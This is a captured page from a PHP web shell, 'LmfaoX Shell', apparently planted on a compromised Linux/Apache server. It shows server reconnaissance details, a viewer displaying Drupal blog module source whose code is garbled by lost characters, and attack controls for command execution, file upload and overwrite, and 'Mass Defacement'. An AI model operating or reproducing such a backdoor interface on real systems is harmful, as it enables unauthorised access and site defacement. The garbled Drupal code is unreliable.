ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:27.62 GB of 70.42 GB (39.23%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ http/ guitar/ modules/ blog/ - dr-xr-xr-x

Directory:
Viewing file:     blog.pages.inc (3.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @file
 * Page callback file for the blog module.
 */

/**
 * Menu callback; displays a Drupal page containing recent blog entries of a given user.
 */
function blog_page_user($account) {
  global 
$user;

  
drupal_set_title($title t("@name's blog", array('@name' => format_username($account))), PASS_THROUGH);

  
$build = array();

  
$query db_select('node''n')->extend('PagerDefault');
  
$nids $query
    
->fields('n', array('nid''sticky''created'))
    ->
condition('type''blog')
    ->
condition('uid'$account->uid)
    ->
condition('status'1)
    ->
orderBy('sticky''DESC')
    ->
orderBy('created''DESC')
    ->
limit(variable_get('default_nodes_main'10))
    ->
addTag('node_access')
    ->
execute()
    ->
fetchCol();

  if (!empty(
$nids)) {
    
$nodes node_load_multiple($nids);
    
$build += node_view_multiple($nodes);
    
$build['pager'] = array(
      
'#theme' => 'pager',
      
'#weight' => 5,
    );
  }
  else {
    if (
$account->uid == $user->uid) {
      
drupal_set_message(t('You have not created any blog entries.'));
    }
    else {
      
drupal_set_message(t('!author has not created any blog entries.', array('!author' => theme('username', array('account' => $account)))));
    }
  }
  
drupal_add_feed('blog/' $account->uid '/feed't('RSS - !title', array('!title' => $title)));

  return 
$build;
}

/**
 * Menu callback; displays a Drupal page containing recent blog entries of all users.
 */
function blog_page_last() {
  global 
$user;
  
$build = array();

  
$query db_select('node''n')->extend('PagerDefault');
  
$nids $query
    
->fields('n', array('nid''sticky''created'))
    ->
condition('type''blog')
    ->
condition('status'1)
    ->
orderBy('sticky''DESC')
    ->
orderBy('created''DESC')
    ->
limit(variable_get('default_nodes_main'10))
    ->
addTag('node_access')
    ->
execute()
    ->
fetchCol();

  if (!empty(
$nids)) {
    
$nodes node_load_multiple($nids);
    
$build += node_view_multiple($nodes);
    
$build['pager'] = array(
      
'#theme' => 'pager',
      
'#weight' => 5,
    );
  }
  else {
    
drupal_set_message(t('No blog entries have been created.'));
  }
  
drupal_add_feed('blog/feed't('RSS - blogs'));

  return 
$build;
}

/**
 * Menu callback; displays an RSS feed containing recent blog entries of a given user.
 */
function blog_feed_user($account) {

  
$nids db_select('node''n')
    ->
fields('n', array('nid''created'))
    ->
condition('type''blog')
    ->
condition('uid'$account->uid)
    ->
condition('status'1)
    ->
orderBy('created''DESC')
    ->
range(0variable_get('feed_default_items'10))
    ->
addTag('node_access')
    ->
execute()
    ->
fetchCol();

  
$channel['title'] = t("!name's blog", array('!name' => format_username($account)));
  
$channel['link'] = url('blog/' $account->uid, array('absolute' => TRUE));

  
node_feed($nids$channel);
}

/**
 * Menu callback; displays an RSS feed containing recent blog entries of all users.
 */
function blog_feed_last() {
  
$nids db_select('node''n')
    ->
fields('n', array('nid''created'))
    ->
condition('type''blog')
    ->
condition('status'1)
    ->
orderBy('created''DESC')
    ->
range(0variable_get('feed_default_items'10))
    ->
addTag('node_access')
    ->
execute()
    ->
fetchCol();

  
$channel['title'] = t('!site_name blogs', array('!site_name' => variable_get('site_name''Drupal')));
  
$channel['link'] = url('blog', array('absolute' => TRUE));

  
node_feed($nids$channel);
}
Command:
Quick Commands:
Upload:
[Read-Only] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [Read-Only]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.1909 seconds